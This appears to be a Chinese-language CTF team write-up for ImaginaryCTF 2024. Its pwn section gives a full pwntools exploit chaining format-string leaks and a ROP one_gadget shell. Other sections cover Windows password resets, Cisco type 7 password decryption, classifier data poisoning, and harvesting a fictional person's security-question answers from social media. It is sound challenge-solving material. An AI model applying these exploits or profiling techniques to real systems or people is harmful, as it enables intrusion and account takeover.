有些位置居然有兩個解(!?
但你可以透過猜測去猜出有分岔的字
ictf{m0r3_than_1_way5_t0_c0n7r0??
(後兩個個字元有點怪怪的,所以我放問號)

然後我把原本的chal的偽c code
改成可以透過輸入來顯示輸出結果的code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include "defs.h"
#include <stdio.h>
#include <string.h>


long long iterate(int a1); // idb
int main(int argc, const char **argv, const char **envp);


char flag[34] = ""; // weak
_BYTE table1[6] = { 82, 100, 113, 81, 84, 118 }; // weak
_BYTE table2[6] = { 1, 3, 4, 2, 6, 5 }; // weak
char completed_0; // weak
int counter1; // weak
int counter2; // weak


long long iterate(int a1)
{
bool v1; // al
unsigned __int8 v3; // [rsp+19h] [rbp-7h]
bool v4; // [rsp+1Eh] [rbp-2h]

v3 = flag[a1];
v4 = (a1 & 1) != 0;
v1 = v3 > 0x60u && v3 <= 0x7Au;
flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1
+ !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))
* ((a1 & 1) == 0)
+ ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
counter1 = (v4 + counter1) % 6;
counter2 = (v4 + counter2) % 6;
printf("%02x,", (unsigned __int8)flag[a1]);
return (unsigned int)(a1 + 1);
}


//----- (0000000000001343) ----------------------------------------------------
int main(int argc, const char **argv, const char **envp)
{
fgets(flag, sizeof(flag), stdin);
for (int i = 0; i < 33; i++)
iterate(i);
return 0;
}

接下來猜最後兩個字,最後一個基本上可以確定是}
猜倒數第二個字是l,因為c0n7r0l很像control
image
flag get!!

PWN

  • solver hokak

imgstore

程式一開始會給你三個選項
image

其他兩個選項沒用,如果選3的話可以就可以進入一個有format string bug的function
可以先leak出rsp+8、rsp+
而這邊可以看到buf * 334873123 == dword_6050(這個值是0xfeedbeef)的判斷式
然後buf是隨機值
通過這個判斷式就可以成功進入一個會有bof的function
image
而兩邊的數沒有倍數關係,所以我們不能只用單純的除法去算
必須利用算數溢位的技巧,可以把他想成(mod 0x100000000)
所以利用模反元素可以算出這個值
$\texttt{n = 0x100000000, a = 334873123, x = 0xfeedbeef}$
$\texttt{inv(n, a)} = a^{-1}$
$\texttt{buf} = a^{-1} * \texttt{x} = \texttt{0x8c87dec5} (\mod {n})$

然後可以看一下stack
image
rsp+8是buf
(rsp+48)是一個存(rsp+80)的位址,(rsp+80)是存(rsp+90)的值
首先先用rsp+48推算rsp+8的位址

1
2
3
4
rsp+8 = 0x300001445(random)
rsp+48 = rsp+80 -> rsp+90 -> 0
rsp+80 = rsp+90 -> 0
rsp+90 = 0

然後利用format string改變(rsp+48)所指向的值(rsp+80),讓他指向(rsp+8)
改後面2bytes即可,然後就可以看到(rsp+80)所指向的值變成(rsp+8)

1
2
3
4
5
6
payload : printf(%(rsp + 8)c%15$hn)

修改後:
rsp+8 = 0x300001445(random)
rsp+48 = rsp+80 -> rsp+8 -> 0x300001445(random)
rsp+80 = rsp+8 -> 0x300001445(random)

然後就可以利用rsp+80去修改rsp+8的值了(一次改2bytes,4bytes量太大)

1
2
3
4
payload : printf(%57029c%22$hn)

修改後:
rsp+8 = 0x30000dec5

接著利用rsp+48把rsp+80改成rsp+a

1
2
3
4
5
6
payload : printf(%(rsp + a)c%15$hn)

修改後:
rsp+a = 0x30000
rsp+48 = rsp+80 -> rsp+a -> 0x30000
rsp+80 = rsp+a -> 0x30000

然後就可以利用rsp+80去修改rsp+a的值了

1
2
3
4
5
6
payload : printf(%35975c%22$hn)

修改後:
rsp+a = 0x38c87
rsp+8 = 0x38c87dec5
但我們不管最前面那個3,因為buf是int32,3不在範圍內

改完之後就可以進入這個function了
image
接著利用剛剛leak出來的東西做one gadget(with rop)就好了
payload:
padding|canary|pop r12; ret|0|pop r15; ret|0|one_gadget
我選的one gadget:

1
2
3
4
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
#context.arch = "amd64"
#context.terminal = ["tmux", "splitw", "-h"]
#r = process("./imgstore")
r = remote("imgstore.chal.imaginaryctf.org", 1337)

def fsb(payload):
r.sendlineafter(b"Enter book title: ", payload)
r.recvuntil(b"Book title --> ")
return r.recvline()

#get rsp + 8, canary, libcbase
r.sendlineafter(b">> ", b"3")
addr = int(fsb("%15$p"), base=16) - 120
print(hex(addr))

r.sendlineafter(b"[y/n]: ", b"y")
canary = int(fsb("%17$p"), base=16)
print(hex(canary))

r.sendlineafter(b"[y/n]: ", b"y")
libcbase = int(fsb("%13$p"), base=16) - 0x84420 - 378
print(hex(libcbase))

#modify rsp+8 to 0x8c87dec5
r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(addr % 0x10000, 15).encode()
fsb(payload)

r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(0xdec5, 22).encode()
fsb(payload)

r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format((addr + 2) % 0x10000, 15).encode()
fsb(payload)

r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(0x8c87, 22).encode()
fsb(payload)



#ROP -> padding|canary|pop r12; ret|0|pop r15; ret|0|one_gadget
pop_r12_ret = libcbase + 0x2f709
pop_r15_ret = libcbase + 0x23b69
one_gadget = libcbase + 0xe3afe

print(hex(pop_r12_ret))
print(hex(pop_r15_ret))
rop = pack(pop_r12_ret, 64) + pack(0, 64) + pack(pop_r15_ret, 64) + pack(0, 64)

payload = b'a' * 13 * 8 + pack(canary, 64) + b'a' * 8 + rop + pack(one_gadget, 64)
r.sendlineafter("UNDER DEVELOPMENT ", payload)
r.interactive()

FORENSICS

  • solver Whale120

crash

拿到一個vmem檔案,用volatility進行掃描

1
python2 vol.py -f dump.vmem kdbgscan

image

filescan

1
python2 vol.py -f dump.vmem --profile=Win10x64_19041 filescan | grep flag

image

拿到虛擬地址後,用filedump倒出:

1
python3 vol.py -f dump.vmem -o flag  windows.dumpfiles --virtaddr 0xc60c81c70ce0

最後切去flag目錄cat出來會變成base64, decode一下就好ㄌ~
image

bom

改編碼,但我相信他們被雲端空間賣了。
image
image
Flag: ictf{th4t_isn7_chin3se}

packed

  • solver ChiLin.H

https://cybersharing.net/s/266989fb9d6c56b1

  1. 給了個 routed.pkz
  2. 用 7zip 粗爆地鑽進他體內
    image
  3. 用力地打開他體內的 secret.png
    image
  4. Flag: ictf{ab4697882634d4aeb6f21141ea2724d0}

routed

  • solver Whale120
    為packed的延續,要對routed.pkt作分析,利用Cisco Packet Tracer打開,會看到幾台可愛的機器:
    image
    View Command
    image
    挖到一坨假flag
    image

翻了一下找到type 7 password,上網搜一下找到decrypt tool(link)
image

cartesian-1

在限時動態中發現flag
螢幕擷取畫面 2024-07-20 171424

cartesian-2

利用epieos搜尋terrencedescartes@gmail.com(用姓名猜出來的)
Google Calendar右邊的連結點進去
https://calendar.google.com/calendar/u/0/embed?src=terrencedescartes@gmail.com
題目說要觀察他去年夏天旅行,所以前往2023年6月,會看到SUMMER TRIP!!!,點下去就能看到flag(2/2)了
screencapture-calendar-google-calendar-u-0-embed-2024-07-22-14_32_59

cartesian-3

  1. What is your email?
    A: terrencedescartes@gmail.com
    用姓名去猜即可

  2. On what day were you born? (YYYY-MM-DD)
    A: 2001-01-18
    此篇Instagram貼文是他的半歲生日慶祝文,用發文日期減去6個月後即是他的生日,年份的部分則在名稱中就透露了

  3. What is the name of your favorite pet?
    A: bonnie
    這篇Instagram貼文寫的

  4. What city have you primarily lived in for the past three months?
    A: San Diego
    這篇Instagram貼文寫說剛從學校回到家,代表過去3個月應該都在學校附近生活,而Instagram自我介紹透露出學校是UCSD,搜尋後發現在San Diego
    image

  5. In what city did you grow up?
    A: Phoenix
    根據隊友提供的線索他的家鄉與各點距離
    Home↔️NYC:2139英里
    image (5)
    Home↔️西雅圖:1114英里
    Screenshot_20240722-020245 (1)
    Home↔️學校UCSD:300英里
    image

但找不到適合的工具來三點定位,於是打開google地球,玩了一下量測發現是單位是公尺,透過ChatGPT先把隊友提供的線索轉換成公尺。
meter
首先點紐約市拉一條約3436000公尺的線(大概就好不用太準只是用來找方向的)
image (6)
然後搜尋UCSD,從UCSD拉一條大概接近1787000公尺多的線,區域應該是在亞利桑那州,而且鳳凰城很靠近量測點,所以猜測是鳳凰城。
USD
最後從西雅圖那個點拉一條482000m的線,確實在亞利桑那州範圍內,接著找出距離最接近1,787,065m位置的城市,看了一下鳳凰城,把量測點拉過去驗證,符合猜測。
USD1

  1. What is the name of your favorite poet?
    A: Robert Frost
    從他Instagram帳戶追蹤的對象看出來的,每個都跟Robert Frost有關
    image

  2. What was the make and model of your first car?
    A: Honda Civic
    這篇Instagram貼文最後有寫 #firstcar,對圖片使用google智慧鏡頭即可搜尋出車款
    image

  3. In what year was your father born?
    A: 1981
    上github搜尋terrence descartes只能找找到一個帳戶,查看他唯一的專案的commits裡的redact sensitive info會發現他爸43歲,2024-43=1981
    image

  4. What is your mother’s maiden name?
    A: Jackson
    image
    從此篇LinkedIn貼文中得知她媽媽姓名為Amelia Jackson Descartes,根據美國冠夫姓的方式,會把夫姓放後面,引此婚前姓氏為Jackson
    實際🌰:拜登的前任太太,內莉亞·杭特·拜登(英語:Neilia Hunter Biden);婚前姓杭特(英語:Hunter)

  5. At what company do you work at?
    A: Cohort Calculations
    他的LinkedIn寫的:
    螢幕擷取畫面 2024-07-22 153643

  6. In what city did you go on vacation last summer?
    A: Saint Paul
    image
    搜尋此貼文第二張圖片左上角的地點的所在地即可得知答案

  7. What are you supposed to do on August 21?
    A: Drop off top secret information
    在他的google日曆中察看8/21日的行程即可得知答案
    image

  8. Who was your boss in your first job?
    A: Farmer Johnson
    在他的LinkedIn中寫的第一份工作的公司名稱的一部分即是答案
    image
    最後填完所有資料按下submit就會跳到flag頁面
    flag

dog-mom

image (3)

搜尋圖片其中一個地方後google辨識出地點了
螢幕擷取畫面 2024-07-22 162256 (1)

接著在google地球上搜尋此地點後稍微逛一下附近即可找到題目圖片左下方的地點
螢幕擷取畫面 2024-07-22 163540

根據拍攝角度來看應該是在有一定高度的地方拍的,大概率是在學習大教堂上
dog mon 2

盡可能還原拍攝角度了XD
dog mon

MISC

  • solver ChiLin.H

sanity-check

image
Flag: ictf{this_isnt_real}

discord

Flag: ictf{fake_flag_for_testing}

Locked

  • solver ChiLin.H
    image

https://storage.googleapis.com/ictf-2024-files/Locked.7z

  1. 載下來,發現檔案是一台虛擬機的檔案。
    image
  2. 用虛擬機打開,發現是個 Windows 10 (ia32),然後有密碼進不去
    image
  3. 拿出祖傳的 USBOX WinPE,打開 NTPWEdit,改掉他的密碼
    image (1)
  4. 重開機後,用改掉的密碼登錄
    image
    Flag: ictf{97ce0dee87d38c7bb4}

sussy

  • solver ChiLin.H
  1. 找到他的 DC 機器人 @amogusbot#3035
  2. 亂試
  3. 送出 !inventory <@1262915653455708231> @flag
  4. 機器人回覆
    1
    <@1262915653455708231> has 0 @flag amogi.|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| <@485801570462859265>ictf{$p0!l3rsp@m!!_809129783}

Flag: ictf{$p0!l3rsp@m!!_809129783}
註:後面的 @flag 可替換任意字元

starship

  • solver Whale120
    題目大致上就是以一堆數列為DataSet,以K鄰近算法做資料判別他為friend/enemy
    然後有一次插入訓練結果的機會,目標是讓某兩組資料從enemy變成friend。
    我的想法就是把需要污染的兩組資料一個取前面幾個,剩下接上後面的數列,最後宣告他是friendly,因為K鄰近會去取距離,通常(?)這樣應該就夠把距離拉近ㄌ

image